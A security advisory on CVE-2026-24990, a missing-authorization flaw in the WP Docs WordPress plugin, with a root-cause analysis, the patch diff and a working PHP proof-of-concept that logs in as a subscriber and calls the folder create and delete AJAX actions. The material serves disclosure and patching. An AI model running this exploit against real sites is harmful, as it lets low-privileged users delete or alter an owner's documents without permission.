Atomic Edge analysis of CVE-2026-24990:
The WP Docs WordPress plugin version 2.2.8 and earlier contains a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level permissions to perform administrative folder management operations. The vulnerability resides in the plugin’s AJAX handlers for folder creation and deletion.
Atomic Edge research identifies the root cause as missing capability checks in two AJAX handler functions. The `wpdocs_create_folder()` function at line 626 in `/wp-docs/inc/functions.php` and the `wpdocs_delete_folder()` function at line 2019 in the same file both lacked authorization verification. These functions were accessible via the WordPress AJAX endpoint without validating if the current user possessed the `manage_options` capability required for administrative actions.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `wpdocs_create_folder` or `wpdocs_delete_folder`. The request must include a valid nonce parameter matching `wpdocs_update_options_nonce`. Subscriber users typically obtain this nonce from plugin pages they can access. The attacker can then create or delete document folders within the WP Docs system.
The patch adds capability checks at the beginning of both vulnerable functions. In `wpdocs_create_folder()`, lines 626-630 now include `if ( ! current_user_can( ‘manage_options’ ) )` which returns an error for unauthorized users. The same check appears in `wpdocs_delete_folder()` at lines 2024-2028. These changes ensure only users with administrative privileges can execute folder management operations. The plugin version number increments from 2.2.8 to 2.2.9 in `/wp-docs/index.php`.
Successful exploitation allows low-privileged users to manipulate the document folder structure. Attackers can delete existing folders containing organizational documents. They can create arbitrary folders to disrupt document organization or prepare for further attacks. This vulnerability does not directly enable file upload or code execution but compromises document management integrity.
--- a/wp-docs/inc/functions.php
+++ b/wp-docs/inc/functions.php
@@ -626,6 +626,11 @@
function wpdocs_create_folder()
{
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( __("Unauthorized user", 'wp-docs') );
+ wp_die();
+ }
+
$nonce = sanitize_wpdocs_data(wp_unslash($_POST['nonce']));
if (!empty($_POST) && isset($_POST['nonce']) && ! wp_verify_nonce( $nonce, 'wpdocs_update_options_nonce' ) )
@@ -2019,6 +2024,12 @@
function wpdocs_delete_folder()
{
+
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( __( 'Unauthorized user', 'wp-docs' ) );
+ wp_die();
+ }
+
$nonce = sanitize_wpdocs_data(wp_unslash($_POST['nonce']));
if (!empty($_POST) && isset($_POST['nonce']) && ! wp_verify_nonce( $nonce, 'wpdocs_update_options_nonce' ) )
--- a/wp-docs/index.php
+++ b/wp-docs/index.php
@@ -4,7 +4,7 @@
Plugin URI: http://androidbubble.com/blog/wp-docs
Description: A documents management tool for education portals.
Author: Fahad Mahmood
-Version: 2.2.8
+Version: 2.2.9
Text Domain: wp-docs
Domain Path: /languages
Author URI: https://profiles.wordpress.org/fahadmahmood/
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24990 - WP Docs <= 2.2.8 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24990
* Requires: WordPress with WP Docs plugin <= 2.2.8
* Valid subscriber-level credentials
* Valid nonce from wpdocs_update_options_nonce
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS
$nonce = 'valid_nonce_here'; // CHANGE THIS - Obtain from page source
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Create cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Perform login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
$response = curl_exec($ch);
// Step 2: Exploit folder creation vulnerability
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'wpdocs_create_folder',
'nonce' => $nonce,
'folder_name' => 'AtomicEdge_Exploit_Folder',
'parent_folder' => '0' // Root folder
]));
$response = curl_exec($ch);
echo "Create Folder Response: " . $response . "n";
// Step 3: Exploit folder deletion vulnerability
// First get a folder ID to delete (this would require enumeration)
// For demonstration, assuming folder ID 123 exists
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'wpdocs_delete_folder',
'nonce' => $nonce,
'folder_id' => '123'
]));
$response = curl_exec($ch);
echo "Delete Folder Response: " . $response . "n";
curl_close($ch);
?>
